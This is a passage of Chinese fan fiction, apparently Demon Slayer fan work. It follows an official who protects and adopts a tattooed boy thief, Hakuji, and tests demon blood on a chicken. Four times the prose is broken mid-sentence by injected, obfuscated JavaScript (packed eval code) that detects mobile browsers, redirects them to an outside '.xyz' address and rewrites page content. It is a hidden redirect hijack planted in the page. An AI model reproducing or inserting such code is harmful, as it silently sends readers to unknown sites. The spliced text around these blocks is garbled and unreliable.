他以前一般会特意挑个大又深的罐子,混在队伍里领一回,而后跑巷尾的泥巴地里往脸上衣上抹点灰,有时施粥的人忙过头没仔细看,或是睁一只眼闭一只眼,运气好还能再领一回。 柴火劈里啪啦炸得直响,空气里还有雨水湿漉漉的潮气。 锅很快就烧开了。 “你来分吗?”温和的声音自身后响起,一柄长勺放到狛治面前。 狛治扭头,竟然是奉行大人,“不太好……” “来分吧,没关系的。”白城轻轻揉了揉他的脑袋,“几天不见,长高了。小黑跟我说,你识字识得很快。” “还行吧。”狛治嘟囔了一声,接过了长勺,随手舀了一勺,目测了一下锅的深度,“这一锅分给多少人?” “200-300,你看着分就行。”白城看着他圆润的小脸蛋,哈特软软的。 这些天营养跟上了,少年的身形开始抽条,圆润的小脸蛋也开始挂肉了。 “近日暴雨连绵,庄稼歉收,近日奉行町每天都会施粥,帮助大家共度难关。”白城朗声道,“大家安静排队,一人一碗,不必争抢。” 长龙似的人群开始往前挤,排在狛治这一锅的队伍最前方是一个饿得面黄肌瘦的老人。 他颤颤巍巍地伸出陶碗,看到狛治手臂的刺青,浑浊的眼神一凝,接过碗就走了,随意找了个墙角,狼吞虎咽地往嘴里灌。 大部分的人都是这般,他们饿极了,已经没空闹事,也不在意这粥到底谁分给的他们。 接过粥的人四散开来,后面排队的人又再次顶上,直到狛治打粥的手臂都有点酸痛,依旧没能听到一句谢谢,甚至连友善的对视都少得可怜。 一个瘦弱的小孩踮着脚把碗伸到他前面。 他伸手接过,青黑的刺青在阳光下发光。 可小孩却把碗往后缩了半尺,马上往后退了一步,扭头尖声喊道:“娘,那人身上……” 小孩立马被母亲捂住了嘴。 可下一秒,排在人群后的壮汉就大喊了一声,“我早就觉得不对!凭什么一个罪人也能给人施粥?” 狛治捏着勺柄的手出了青筋,额头跳了两下,眯眼往壮汉那看去。 人群躁动起来,四下开始低低议论, “罪人的手脚能干净么?后厨打杂便罢了,怎么能伸手到锅里来?” “要是他手里暗中作怪怎么办?往锅里撒脏东西谁晓得?” 而后骚动着推搡着往前挤,有人低声咒骂,有人扬起袖子指着: “官府这是怜我们,还是羞辱我们?” “宁可少一口,也不要罪人手里讨饭!” “凭什么罪人都能去官府帮工,我们却只能在这外面?” “你个死胖子在这鬼叫……”狛治放下勺子,提拳就往胖子那里冲。 一双修长的手兀地摁住他的肩头,狛治停下,仰头发现是白城。 “闹事者一律——”白城清声开口,声音冷厉如刀,“先记名,后问罪! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328204|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 人群一瞬噤声,推搡的手慢慢收回去,先前喊得最凶的几人连忙缩到人堆后。 白城缓缓环顾一圈,眼神凌厉,语调却转缓:“今早一共十五口锅,自辰时六点分到巳时十点,别的锅前人手换了三批,唯有狛治一直站在这。领粥的人都换了几批,他还一直站在这。” “论分粥,他分得最快,舀得最稳,米汤均匀,碗里不光是浆,也都落下几粒米花。到此刻,唯独这口锅的锅底,还留得最少。” “罪人犯过罪,所以站在锅前劳作,以力赎身。你们如果嫌弃他,大可去排别处,不必伸手来领。” 说到这里,白城略一停顿,拍了拍狛治的肩,话音沉稳:“至于旁的罪人,若能洗心革面、改过自新,官府自会为其谋得一份生计。墨刑,本是警戒与威慑之法,却非一刀切断生路。人人都有重新做人的机会。” 面前的身影清瘦,却是有人第一次挡在他身前。 原来……我也能被人保护吗? 人群安分了下来。 正如白城所说,若是嫌弃大可排去别处。 那群人嘴上虽然抱怨罪人分粥,可身体还是排在这一队伍,甚至排队的人不减反增越来越多。 流民不是第一回来领粥了。谁的手稳,谁分的粥多,自个心底都门清。 领过的,自然会跟后来的亲朋好友交流。 经过这一遭,狛治舀粥的手还是很稳。 队伍很快排到了最开始闹事的死胖子那,胖子伸出碗来,一双三白眼吊着,只让他打。 狛治睨了他一眼,冷哼一声把碗接过来。 这在奉行町门口,他不想惹事,让白城下不来台。 米汤进碗,手心滚烫,方要递出去,白城把他拦下了。 白城看着胖子,嘴角勾着笑,一双杏眼却不见笑意,“我的孩子刚被你辱骂了去,怎么能这么快消气呢?” 胖子看见奉行眼神都变得清澈了些,眼轱辘一转,扭头就想混进人群里。 下一秒,被周围的捕吏摁住了肩胛,强行跪在了地上。 “给他道歉。”白城温声道。 胖子咬牙挣了挣,而后抬头,目露狠意,近乎咬牙,一字一顿,“对不起。” “你原谅他了吗?”白城半蹲下身来问狛治。 狛治皱眉,“我不在意……” “不如罚他在这替你分粥。”白城抬手示意捕吏松开,“你站了一上午,脸都晒红了,下去歇歇。” 白城将狛治先前舀给胖子的那碗放到他面前,“分完粥,才有粥喝。既然你不服,那就由你来——想必你一定能干得更好。” 随后,白城转身朗声对百姓道:“从这一碗起,分量便以此为准。” “若是少了——就叫他重来。” “这个责罚,满意吗?”白城蹲下身揉了揉狛治的头发。 狛治有些羞恼地往后退了两步,“都说了我不在意……” “真的?”白城挑眉逗他。 “……”狛治默了下来,而后勾了勾白城的衣袖,“谢谢您。” 他仰头,一双蓝眼睛像天空那样镀上阳光的亮色,“我很满意。” 7. 共寝 “奉行大人,最近……狛治天天待在厨房,但大家都不愿意吃罪人经手过的饭,您要不跟他说说,别去后厨了,去砍柴挑粪什么的挺好的……” 白城最近很忙,有时深夜狛治都能透过窗户,看到他伏在案边清瘦的剪影。 狛治站在墙边的阴影里,手心里捏着自己刚写的一幅字,小黑老师说写得很不错,他原本想来给白城看看。 “做的饭好吃吗?”他听见白城问。 “味道倒是还可以……只是……” 就是因为味道很好,以至于当初跟他一块歧视狛治的那群人,最近都不太愿意跟着自己抹黑他了。 白城放下笔,抬眸道:“你的手和我的手,有什么区别?” “当然有啊。大人金枝玉叶,您的手批阅公文,我们这些下人不过做些粗活,哪能跟您比?” “可我看来没什么区别。”白城淡淡一笑,目光如水,却不带褒贬,只是平静陈述,“我是奉行,所以批阅公文;你是包丁役,所以掌刀理菜。” “如果没有你,我便不能精神饱满地处理公文。如果没有我,你便不能心无旁骛地处理菜品。各居其位,各尽其职,不过都是为了让更多人能安稳度日。”白城顿了顿,声音更为沉稳:“人若能把分内之事做到极致,便已是荣耀,无需自轻。” “刺了青的手,和没刺青的手,也没什么区别。在厨房,不过是为了端出一桌好菜。只要为此尽心,何来高低贵贱之分?” 看着堂下的人神色触动,白城微微一笑,披着外袍将人送了出去。 听到门轴的吱呀声,狛治连忙往墙角躲。 跟着白城走出来的人,狛治认得。 是厨房的二把手,负责切菜备菜的包丁役,有个当捕吏的哥哥,自诩高人一等,平日里也最爱带头排挤他。 此刻包丁役满脸动容,像是大彻大悟一般自书房而出,拜别奉行后也不归家,斗志昂扬地就往厨房去了,立志做出更美味的菜品为世界和平奉上自己的一份力。 人就那么撸着袖子远去了。 狛治缩在角落里看着他离开的背影,正在思考这门怎么还不关? 夜寒露重,白城只披了外袍,风一吹便不住地咳,“还躲着呢,进来吧。” 被发现了。 狛治从门后的阴影里出来,“我不是故意偷听的。” “光明正大地听也没事。”白城并不在意,“还没睡?” “有点吵,我就过来看看。”狛治眯着眼昂着头,刻薄的神情摆在他圆润的小脸上显得有些臭屁。 白城扫了眼他怀里精心抱着的和纸,过了好半晌,才把视线挪回少年的脸上,“写了新字,想拿给我看?” “才没有!”心思被挑明,狛治反而像炸了毛的猫,小脸涨得通红不肯认。 天色实在晚了,白城合了书卷,“睡不着不如来跟我一块睡吧。” “这个年纪的小孩,好像确实还要大人陪。” “蛤?”狛治瞳孔地震,不住又食指指着自己,“我?” 眼底明明百般抗拒,但当檀香被清风拂到鼻尖,奉行大人微微弯腰,如玉一样的手拉起他的指尖,温凉的热度透过掌心跟他相贴的时候……头顶的月色像水一样。 我刚刚到底中了什么蛊! 站在奉行的床边,狛治微张着嘴,整个人有些呆滞。 我怎么就跟着他进了寝所? “我睡哪?”事已至此,狛治回头问他。 “这张床。”白城脱下外袍,打开柜门,从底下挑了床薄被。 “你呢?”狛治再问。 “也是这张床啊?”白城有些不解,抱着新被子往床边走。 里衣布料勾出他削瘦的肩胛,整个人单薄得跟纸一样,狛治皱眉,快走几步,上来接过被子。 但走到床边立住,抱着被子的手怎么都不肯放,“我打地铺一样的。” “怎么?”白城轻轻勾了勾少年的耳垂,“害羞啊?” “才没有!”少年猛地跳开,浑身像通电了一样,一连串打了四五个激灵,眼睛红红的,像受惊的兔子一样。 “嗯嗯。”白城钻到里面的被窝里,拍了拍身边的空位,“睡觉吧,天晚了,明天还要早起。” 远处的池塘有蛙声在叫,屋里安静,只偶尔能听到烛芯啪得炸开的轻响。 默了良久,白城半眯半就间,感觉身边落下了一床被子。 少年半跪在床沿把被脚折好,才轻手轻脚地吹灭了床头的蜡烛。 烛芯顶端冒出一缕白烟,一股沾着焦糊味的涩气很快在屋子里弥漫开来。 狛治就着暗色,飞快脱下足袋,光着脚钻进布团。 月光清冷,从窗户里透进来,斜落在桌案上,往前再延伸,静静铺洒在布团之上。 狛治在黑暗里睁着眼睛,身体绷得死紧。 手脚冰凉,像是一块木头。 耳边是轻浅的呼吸,眼前是木头的床梁,他控制着自己的呼吸节奏,却怎么都放松不下来。 平躺在床上,甚至不敢偏头看。 他已经很久没跟人一块睡觉了。 五岁?还是六岁? 印象里自从他开始工作,就再没跟老爸睡过一张床。 平日里他的工作一般天没亮就开始,而老爸睡眠本就又浅又少,醒了之后往往要强忍着病痛睁眼到天明。 狛治发现这件事后,说什么也不肯再睡一块。 过了两三天,不知从哪搞了一床旧布团,自此在榻榻米边上打地铺,之后哪怕冬天再冷,他都没跟老爸挤过一个被窝。 狛治从被窝里掏出自己的手臂,伸在空中,就着月色看着上面三环的刺青,白日里白城握住手腕的温热触感好像还停留在上面。 这刺在偷窃累犯者的额头或手臂的墨刑,是羞辱与身份标记。 他第一次偷窃是在八岁,初出茅庐手法生涩,勾到钱包的一瞬被抓了个现行,当天就被人扭送押至奉行町。 鞭刑落在腰间很痛,倒刺勾得皮肉都绽开了。 等到傍晚装作没事人回家,老爸问他怎么了。 狛治回答说:“没事。” “他们说你偷窃被抓了。”老爸坐在榻上死死地盯着他,“我跟他们说不会的,狛治是个好孩子。” 狛治捏紧了拳头又松开,“可是他们有人偷一次就能赚十两银子,我不眠不休干……” “啪!” 一巴掌扇得头都侧了过去,脸颊火辣辣的痛。 狛治看到老爸胸膛急促地上下起伏,身体气愤地发抖。 这是老爸第一次打他。 狛治这辈子都记得老爸当时的眼神——愤怒的,不可置信的,愧疚的,混着滔天能压死人的痛意。 “我教过你!要做个堂堂正正的男子汉!”老爸指着他的鼻子骂,声音和指尖都在发颤。 狛治不说话,扭头在地上铺好自己的被子。 “狛是守护,治是安定,我和妈妈把你养大,不是让你去偷别人的东西!”那天老爸硬生生从床榻上翻下来,揪住了狛治的衣领。 看着老爸削瘦的脸颊,黑眸像燃起了火,烧得透亮,狛治怔怔看他,良久道, “我知道了,老爸。” “不会再偷了。” 那天老爸半夜,偷偷从床榻上下来,掀开被子看着他身后的伤口,默坐了一宿。 狛治其实没睡着,数着门缝透进来的月光,不敢回头。 日子好像又回到了之前,勤勤恳恳地干活,喘着粗气,背几倍于自己体重的货物,流着汗,赚比起药物杯水车薪的钱。 虽然劳累,但也维持着些许平衡。 直到老爸的病情又加重了。 山上采的草药没用了,买的小包药粉没用了,狛治把压箱底的钱拿出来,背着老爸走了十里地到了医馆。 那慈眉善目的老爷爷说了一大串他听不懂的话,等他重新背着老爸走出医馆的时候,只知道老爸要吃新药。 3两9文一包的丸药,十天一包。 老爸说不治了。 狛治面无表情地把他在被窝里安顿好。 哪怕心稳眼尖手快,技艺逐渐精湛,可常在河边走,哪有不湿鞋。 第二次被押进奉行町的那天是狛治的生日,他其实不太慌张,甚至还有闲心思考怎么才能让背上的伤不被老爸发现。 直到奉行宣判墨刑。 被捕吏强摁住四肢,用刀划出一整圈伤口的时候,他像鱼一样痛得在地上弹动,四个捕吏摁不住他,又叫来两个捕吏,才硬生生把他摁死在地上。 刀直直割出环状的伤口,汗浸湿衣物精疲力竭,整个人虚脱得像从水里刚捞出来使不上半点力气,然后他眼睁睁地看着捕吏把会跟随自己一辈子的墨揉进小臂的伤口里。 心脏像被一只无形的手给死死攥住了,狛治当时甚至发不出一点声音。 被捕吏推出奉行町的时候,狛治一个踉跄。 他的手臂不住在抖,他抬起来看着上面的墨——漆黑的,环状的,混着血腥味的。 横膈膜在发颤,整个人恶心地想吐,他往家走,低声告诉自己,“这是应该的。” “我没错。” 当晚又是一场大战,狛治垂着头任打任骂。 直到老爸近乎声嘶力竭地问他,“你让我怎么对得起你妈妈!让我怎么敢去见她!” 狛治坐在地上,缓缓抬头,一双血红的眼像是地狱杀出来的修罗,“老爸,你怎么让我眼睁睁地看着你去死?” 眼泪欻得下来了。 老爸看着他,没能再出口一句重话。 狛治起身推开房门,在屋外的灶台边坐了一宿。 直到天边的鱼肚白升起,瑰丽的朝阳破开七彩霞云,洒上树顶翠绿的树叶,拂过青葱的草地,照上七彩剔透的露水,照上手臂上黑得吓人的墨渍。 他用手搓了搓,又搓了搓,搓得血又噗滋噗滋冒出来了,还是搓不掉。 他起身去平日里帮工的豆腐店。 拉着门口的环扣,叩上木门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349672|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 脚步声由远及近,平日里嘴硬心软的老板嘴上念着,“来啦来啦,今天怎么来得这么晚,不过早上煮的粥还有剩……” 狛治仰望着即将打开的门,有些惶惶的期许。 可老板的眼神在触及刺青的瞬间由热转凉,而后近乎羞辱地推搡着他的胸膛把他赶了出去。 “滚滚滚,我们这不要小偷。” 门嘭得关上,差点砸到他的鼻梁。 他站在门口,垂头看着自己的手臂。 告诉自己—— 应该的。 在街上游荡的时候,行人好像都离绕着自己走。 鄙夷的眼光指指点点的议论如芒在背。 他好想哭着问爸爸——“我是不是再也做不了堂堂正正的大人了?” 可最后他只是缄默着,长久地缄默下去,装作不经意般撞上了一个富态的行人,指尖灵活地勾出一个皮夹来,而后猛地把人一推,往熟悉的巷子里钻。 爸爸还躺在床上。 一个家里,不能有两个弱者。 所以——要坚强,不要哭。 “疼不疼?”骨节分明的手轻轻点在他的刺青上。 狛治一惊,扭头看白城不知何时侧过身来正看着他。 他猛地一挣,飞速把手重新藏回被子里。 “什么时候刺的?”白城问他。 “不记得了。”狛治整个人往被子里埋了埋。 “正保元年十月初五。”白城说,“我翻了卷宗。” 狛治不说话了,那天是他的生日,又怎么会不记得。 一道道,一圈圈,痛成那样,怎么能不记得? 白城撑起身子往他那边挪了挪,而后伸出手臂把人搂住,一下下地拍着少年的背,“都过去了,宝宝,睡吧,做个好梦。” 被人搂在怀里,从后背到胸口,兀地被人体的温度炙烤着,像是冬天暖洋洋地泡在太阳下。 久违的,陌生的,像是回归母体那般…… 成年人的胸膛构筑出一片昏暗的角落,狛治的头埋在里面,能听到自己粗重的呼吸。 他强压着身体的颤抖,太阳穴痒痒的,豆大的水珠滑过砸在枕头上,就努力睁大眼睛,在黑暗里长久地睁着眼,仿佛这样就能不再流泪。 直到背上轻拍的力道愈来愈小,白城整个人睡得都迷迷糊糊的。 狛治突然冷不丁地呢喃出自己当年想问爸爸的话,“我是不是再也做不了堂堂正正的大人了?” 他等了很久,等到自己都快睡着的时候,听到一句—— “没有人会故意偷窃,他们一定是有需要了。” 他听见白城的呓语,脚底到天灵盖啪得一下像被什么刺穿了。 过了一会,他也渐渐放软了身子,头埋在白城的胸口,又往他怀里钻了钻。 当晚他好像梦到了老爸,又好像没有,但他难得睡了个好觉,醒来的时候神清气爽,连奉行大人什么时候下床了都没发现。 “醒了?”白城半卧在榻榻米上,手里握了一卷书。 “嗯。”狛治想起昨晚,又觉得被人抱着睡觉什么的,有点太丢人了。 “醒来就洗漱穿衣服。”白城望向他,“等会跟我一块出门。” 狛治不是个多话的人,只当白城带他出门逛逛。 但当马车停下,他从车里蹿出来,一扭头——眼前是宽阔的石阶,两旁是高大的石狮,木门厚重,铁钉光亮,郡代府门楣的牌匾威仪压人。 “你给我带哪来了?!”狛治愕然,不由得后退半步。 奉行所虽然同样气势磅礴,但还是不太一样。 狛治比划,虽然不知道哪里不一样,但在奉行所待着像是在家,去郡代府上有种诡异的丑媳妇见公婆的感觉。 虽然很不恰当,但狛治觉得自己一个罪人根本不该出现在这种地方。 自己跟这种地方格格不入。 他唯一进去的可能,就是被捕吏压着进去挨打,而不是……不是这么堂堂正正地走进去…… 白城有些疑惑地回头,“你昨晚不是好奇我在忙什么吗?” “访郡代,拜庄屋,见匠人,面高僧,有时还得去富商那里割点肉。前些天一直下雨,后面必然有灾荒和瘟疫,都要提前早做准备才是。” “小黑说你最近字识得不错,我想着也可以让你跟着我往外走走了。” “耳濡目染,是时候学点东西。” 郡代的副官一早在门前候着,打开了门。 白城大步跨过了门槛。 狛治垂头看着那高高的门槛,晌久轻轻抬起右脚,崭新的长袍拂过石坎,一脚跨出,稳稳落地。 抬眸,入目的日式庭院视野开阔,日光从天上落下来披在自己身上,两侧松树高耸,庭下白色的石粒模拟成海浪的波涛,黑色的怪石立在其上。 风拂过耳边的碎发。 他听见奉行介绍—— “这是我的义子,姓白,名狛治。” “来,见过黑木先生。” 8. 我在 【六七章重新修了一遍,所以这章可能跟之前会有一点重复内容,这章就会把十一岁收尾,下章切狛恋。 这章只码了一半,还有一半晚上回来补,睡觉了。】 “我在幕后督工也挺好的。”狛治迟疑地看着眼前的长柄勺,怎么都不愿意接过。 白城只是静静地把勺子放在他面前,“瞻前顾后可不是你的风格。” 狛治低声嘟囔,“我分不分粥,他们都能填饱肚子。” “目的已经达到了,我去了反而麻烦。” 白城捏了捏他圆润的小脸蛋,哈特软软的,“明明你是施粥的大功臣,哪有不露面的道理。” “他们会闹。” “所以呢?”白城蹲下身看他,“狛治,你才十一岁,无需一手包揽所有的事情。” “处理不好一些事情也是正常的,不用苛责自己。” “遇到自己处理不了的事情,要向有能力解决的人求助。” “求助就能获得帮助吗?”狛治不认可,老爸生病后,他没少求人。 有用吗? 有用的话,老爸也不会死。 “我在,就有用。”白城银灰色的眸子看他,“任何时候,你都可以向我寻求帮助。” 狛治怔了一会,而后睫毛颤了颤,“这很麻烦。” “你把饭团给小姑娘的时候有觉得麻烦吗?” 狛治摇头。 “又为什么想要施粥呢?” “因为饿肚子很痛苦,所以想要帮助他们。” “那我也是一样的。” “因为我想狛治,健健康康快乐茁壮地长大,长成一个积极阳光的大人。所以任何时候,我都不会觉得麻烦。” “你可以随时,随地,遇到任何拿不准的事情,都来找我商议。” “而我永远会跟你站在一起,解决困难。” 他说永远,他捏了我的脸蛋,他的眼睛像水一样温柔,比爸爸还要温柔。 他站在我身后,用单薄的身体,撑住了我所有摇摇欲坠的担忧。 “放心大胆地去帮助别人吧。” 狛治感受到白城拍了拍自己的肩膀,听到他说——“我一直在。” 狛治握住了长勺。 今天来领粥的人明显比昨日多,好在狛治昨天就预料到了这种情况,准备的米粮比昨日要稍微多些,现场也拜托小黑老师安排了维持秩序的捕吏。 “怎么还是这个罪人打粥?” “昨个不是说过了吗?” “什么背景啊,罪人都能在奉行町谋个活计了。” “怎么又是你?”昨天闹事的壮汉,挺着胸膛越过队伍走到狛治面前,“你也配给我盛粥?” “不要插队。”狛治握着勺柄的手青筋毕露,“请回到自己的队伍里去。” “换个人来施粥,我就回去。”壮汉轻蔑地扫了他两眼,“没看到大伙都在骂你吗?我要是你,早就躲在后头不出来了。” “真不知道得了哪位大人青睐,能给奉行町办事。” “得了好处,就不要张扬。” “一而再,再而三地出现在大众面前,挑衅大众的底线,你猜你的那位大人会不会生气?” 狛治额角的青筋蹦跶两下。 壮汉眯眼,轻轻贴到他耳边,低声道:“你要是给我留一碗最稠的粥,我今天就放过你,怎么样?” 狛治缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410457|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头,眼睛直勾勾地盯着他,只想把手上的勺子狠狠砸在他的天灵盖上,“你威胁我?” “这是交易。”壮汉恬不知耻地笑,“奉行大人正看着这边呢。” 狛治深呼吸,再深呼吸。 “你们在干什么?”白城适时走来。 “我在跟这个小哥商量点事。”壮汉扬起一个讨好地笑来,“大人,不劳您特意过来。” “是这样吗?”白城问狛治。 “他威胁我要给他留一碗最稠的米粥。”狛治面无表情,高声戳穿了他。 “你小子!”壮汉恶狠狠瞪了狛治一眼,而后连忙跪地,高呼冤枉,“大人,罪人口中的话,不可信啊!” “我只是质疑为什么罪人能够施粥,他就反咬我一口,其心可诛,狼心狗肺!大人,您一定要明察秋毫啊!” “就是,大人,罪人的话怎么能信呢?”密密麻麻的人群再次像昨日那般骚动起来。 狛治气得连脖子都梗红了,但人言像潮水一样,四面八方地笼罩而来,他左看右看,看不到谁在说话,所有人的嘴唇都在动,所有人都在指责他。 你们的大脑里装的都是什么浆糊吗? 狛治想骂,却又不住向后退了两步。 “是非善恶,我自有判断。”白城抵住了他。 “徇私枉法者,贪污舞弊者,中饱私囊者,还有闹事者一律——”白城清声开口,声音冷厉如刀,“先记名,后问罪!” 明明声音不大,但前面闹事最凶的人像被掐了嗓子一样静默下来,挤在前面的人群一瞬噤声,非比寻常的肃穆在人群中传导,远处细细簌簌的议论也莫名消退,推搡的手慢慢收回去,整座奉行町前鸦雀无声。 9. 恋雪 日子一天天过,灾后重建工作稳中有序地进行,岁月静好到让白城差点忘了无惨的存在。 直到让狛治给自己抓来一只鸡。 拇指按住上喙、食指顶住下喙,掌心摁住鸡的脑袋,能感受到它脆弱的头骨跟随着呼吸,一起一伏地颤动着。 手掌只要用力,它就会死去。 这是白城第一次用手摸活物。 他掌控着它的生命,却感受到了一丝恐惧。 鸡的体温顺着掌心往身体涌去,他却感受到了一种刻在基因里的,名为物竞天择的残忍。 用火炙烤过的针尖扎破手指,红色的鲜血滴入鸡嘴前一秒。 鸡开始奋力扇动翅膀,妄图挣扎,但狛治把它握得很死,牢牢地摁在桌上。 一秒,鸡的身体便鼓成气球般大小。 两秒,眼睛流出血泪。 三秒,嘭地爆炸。 骨头血肉和鸡毛炸了个满地,连墙上都有粘连着血肉的白色脂肪。 狛治第一时间挡在白城面前,血肉溅了他满身,蓝色瞳仁骤缩。 血腥味溢满了屋子,白城强压着颤抖的呼吸,替他捻下挂在和服上的一块黏糊糊的肉块来。 “吓到了吧,快去换身衣服。”白城拉着他往内室走。 白城没有解释,但狛治也没有开口。 之后谁也没提起这天,就像一场不存在的梦。 白城倒是确信了自己的血可以把人转换成鬼,也确定了自己技能“坐山高”理应需要把人变成鬼后才能生效。 但他始终没有把狛治变成鬼。 他不是很担心狛治会像那只鸡一样,承受不住血液的力量死去。 这种事情,很难开口。 告诉刚刚看过这场爆炸的狛治——我其实是鬼。 我要给你喂血,把你变成鬼。 我是为了利用你才拯救你的。 对于一个十一岁的孩子,怎么想都有点太残忍了。 而且万一存在那个万一呢。 让这个孩子在眼前爆炸吗? 事情就一直拖了下来。 降临这个世界20天的时候,城市上空突有鎹鸦出没。 第21天,城中看见了癸级鬼杀队队员的身影。 第22天,派去打探信息的人员没有找到任何柱相关的信息。 第23天,派下去打探消息的捕吏说,“城中有居民上报,孩子失踪。” 今天是第24天,自第一天落地就拜托小黑去找的锻刀工匠终于传回消息。 “您说的戴着半天狗面具的工匠找到了,离得不远,住在江户城外的屋子里,开了家打铁铺,不过听说从不锻刀。” 白城自落地就在寻找刀匠村的工匠,可刀匠村本就是隐世村落,技术更是代代相传,进入的人基本不能离开村子,流落到民间更是天方夜谭。 谁料小黑竟然当真找到了。 白城大喜过望,拉着小黑和狛治便要上门拜访。 刚出江户没走几公里,正好跟一对男女擦肩而过,一个男孩拉着穿樱色和服的少女兴冲冲地往来时的方向跑。 “怎么了?”白城发觉狛治没跟上来。 狛治收回视线,“总觉得那个女孩身体不太舒服。” “脸色惨白,额角冒汗,呼吸也不太对劲。” “你跟过去看看。”事情撞一块了,白城猜测那是恋雪。 “可是……”狛治想跟着白城。 “我这里有小黑,只是去锻刀而已。”白城安抚他。 “好。”狛治点头。 “田岛先生,请问能回家吗?”女孩跟不上少年的步伐,被拉得近乎有些踉跄,“我有些不舒服。” “什么呀,江户还有段距离。”名叫田岛的少年脑侧扎了个单马尾,黑色的刘海垂在颊两侧,眼底尽是不耐烦,“不要扫兴好吗。” “真的不可以,田岛先生。”女孩恳求地拽住田岛的衣袖。 “就一会,走到城里,我们就休息。”田岛皱眉,“很快,几步路就到了。这里前不着村,后不着店,也没地方休息。” “那田岛先生能不能走慢点……”女孩整个人眼神都有些涣散,“我有点撑不住了。” “好。”嘴上虽这么应着,但步幅一点没小。 狛治就那么跟在两人后面,听女孩咳嗽了一路。 等到女孩第五次剧烈咳嗽,整个人都走不动路,瘦弱的身躯弯下来,边咳嗽边发抖,像是连骨头都要散架那般,狛治再也忍不住,大跨两步跟上去,一把握住了田岛的手腕,“你没听到她说不舒服吗?” “你是谁啊你?”手腕被掐得生疼,田岛当即放手,捂住手腕大叫出声。 狛治根本没理他,高大的身体投下半片阴影,替女孩遮挡了烈阳,皱眉问她,“你还好吗?” “咳…咳…咳…”一连串猛烈的咳嗽后,呼吸突然变得急促。 女孩猛地抓住胸口,像被什么重物压住一样,声音急促而低哑。 “哈……哈……” 每一次呼吸都像是被水扼住喉咙,肩膀剧烈起伏,纤细脖颈的青筋微微绷起,泪花呛出眼眶,她竭力张大嘴巴呼吸,却只能发出破碎的气音。 “这是你害的,”田岛看事情明显不对,往后连退三步,像是躲瘟疫一样,立马离女孩五丈远,而后掉头就跑,“跟我没关系。” 这里很偏僻,四处无人。 “失礼了。”狛治一手搂在她腰间,一手兜住她膝弯,把人打横抱在怀里,大步往阴影处跑,沉声安慰道,“不要害怕,调整呼吸,不会有事的。” 确认这里空气流通,立马把人放下来,扶着她的背,轻轻拍抚。 女孩咳得满脸潮红,呼吸一直没能平复下来,唇色发白,双手无力地抓着他的领口。 “听着。” “看我。” 看女孩惊惧不已,呼吸越来越急。 狛治半跪在她身边,拆开她的腰带,拉开了背后的伊达结,双手握住她的掌心,“跟着我的节奏呼吸,慢慢来,不要慌。” 女孩整个人都有些晕厥地缺氧,但还是努力睁大眼睛看他。 “吸气。”狛治缓缓吸气,同时慢慢加重握住女孩手掌的力道。 “呼气。”手掌慢慢放松。 女孩跟着他的节奏努力调整着,眼底的惊慌淡了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424678|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对,很好,就这样。”手掌重新收紧,“吸气。” “呼气。” “吸气……” 几个循环下来,女孩已经在狛治怀里睡着了。 狛治探了探她的鼻息,确认她呼吸平稳,脸色正常,唇色虽然浅淡但应该只是因为缺氧虚弱,哮喘耗费大量体力,累得睡着了。 身体这么弱,根本不能见风,不知道怎么被大人允许被带出门玩的,晚上可能会发烧。 狛治探了探额头的温度,确认无恙后,把女孩抱在怀里。 后又想到什么,重新把人放下,用肩膀和手臂笼住女孩,微微低头,白色睫毛半垂,专注地看着女孩背后,重新把她伊达结和腰带系好,又把和服理齐。 两腿交叉,两脚微侧,完全没借手部力量,抱着人直接站了起来。 “要快些回去。”狛治调整了一下位置,让女孩的脸往内侧偏偏,防止被阳光晒到。 直到这时才发现少女像一片云一样,轻得不像话。 好瘦。 狛治心想,手腕勾起,让手臂上的肌肉能够放松些。 进了町奉行所,他把人安置在客房榻榻米上,而后从衣柜里翻出布团,在地上铺好,再把女孩抱了上去,而后轻轻把旁边的被子拉到女孩身上。 做完一切后,轻手轻脚地拉上房门,从旁边找了个木盆,去私井打水。 